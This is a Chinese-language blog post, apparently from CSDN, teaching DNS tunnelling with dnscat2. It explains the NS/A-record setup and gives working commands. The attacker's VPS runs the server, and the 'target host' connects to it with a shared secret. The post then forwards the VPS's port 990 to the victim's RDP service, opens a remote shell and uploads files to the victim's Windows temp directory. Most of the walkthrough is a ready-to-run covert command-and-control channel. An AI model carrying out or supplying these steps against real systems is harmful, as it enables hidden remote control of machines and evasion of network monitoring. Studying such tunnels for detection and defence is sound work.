DNS隧道的利用

本文详细介绍了DNS隧道的工作原理,通过设置DNS服务器NS记录和A记录,利用dnscat2工具在客户端和服务端之间建立加密的DNS隧道。在VPS上配置dnscat2服务端,客户端通过指定域名和密钥连接,实现数据交互。此外,还展示了如何利用DNS隧道进行端口转发,如将VPS的990端口映射到客户端的RDP服务,以及执行命令和文件传输等操作。
摘要由CSDN通过智能技术生成

DNS隧道的利用

前言

域名系统(Domain Name System,缩写:DNS)是互联网的一项服务。它作为将域名和IP地址相互映射的一个分布式数据库,能够使人更方便地访问互联网。DNS使用TCP和UDP端口53。当前,对于每一级域名长度的限制是63个字符,域名总长度则不能超过253个字符。DNS协议是用来将域名转换为IP地址(也可以将IP地址转换为相应的域名地址)

dns隧道的原理

客户端与服务端(NS记录)建立dns隧道,客户端将域名(通常为子域名)解析的数据包(QR标记0)全部传送给A记录指向的服务器,之后所指向dns服务器对数据包进行响应(QR标记为1)。在这个过程中,将payload插入到dns数据包中的TXT记录字段或者子域名字段,从而实现客户端与服务端的数据交互。

利用dnscat2建立dns隧道

准备

vps配置ns记录
例如:
dns.douhu.xyz的ns记录为119.23.104.162,此时dns.douhu.xyz域名的dns服务器为119.23.104.162

配置完成后,可通过在vps使用tcpdump抓取dns数据包验证配置是否成功

tcpdump -n -i eth0 udp dst port 53


vps安装dnscat2
vps安装dnscat2,做为dnscat2的服务端
https://github.com/iagox86/dnscat2
下载完成后进入dnscat2的server目录,执行以下命令安装依赖

#安装bundler
gem install bundler 
#更新系统中存在的项目依赖包
bundle install

利用过程

vps运行dnscat2做为服务端

#x.domain.com为配置ns服务器A记录域名,--secret=123456为dns流量加密传输设置的加密密码。
sudo ruby ./dnscat2.rb x.domain.com --secret=123456


目标主机(客户端)运行dnscat2,与vps建立dns通道

dnscat2-v0.07-client-win32.exe --secret=123456 x.domain.com


通道建立成功后,使用sessions命令查看当前的所有客户端会话ID
使用window -i id进入会话

端口转发
listen端口转发

#将vps(服务端)的990端口重定向至客户端的3389端口,此时连接vps的990端口就是客户端的Rdp服务
listen 127.0.0.1:990 192.168.187.130:3389


执行命令
执行shell后,会新建一个会话获取客户端的shell环境


上传文件
upload上传文件至客户端

upload ../../portmap.c c:\windows\temp\123.txt

使用exit退出当前会话,使用Kill id停止dns隧道

  • 0
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值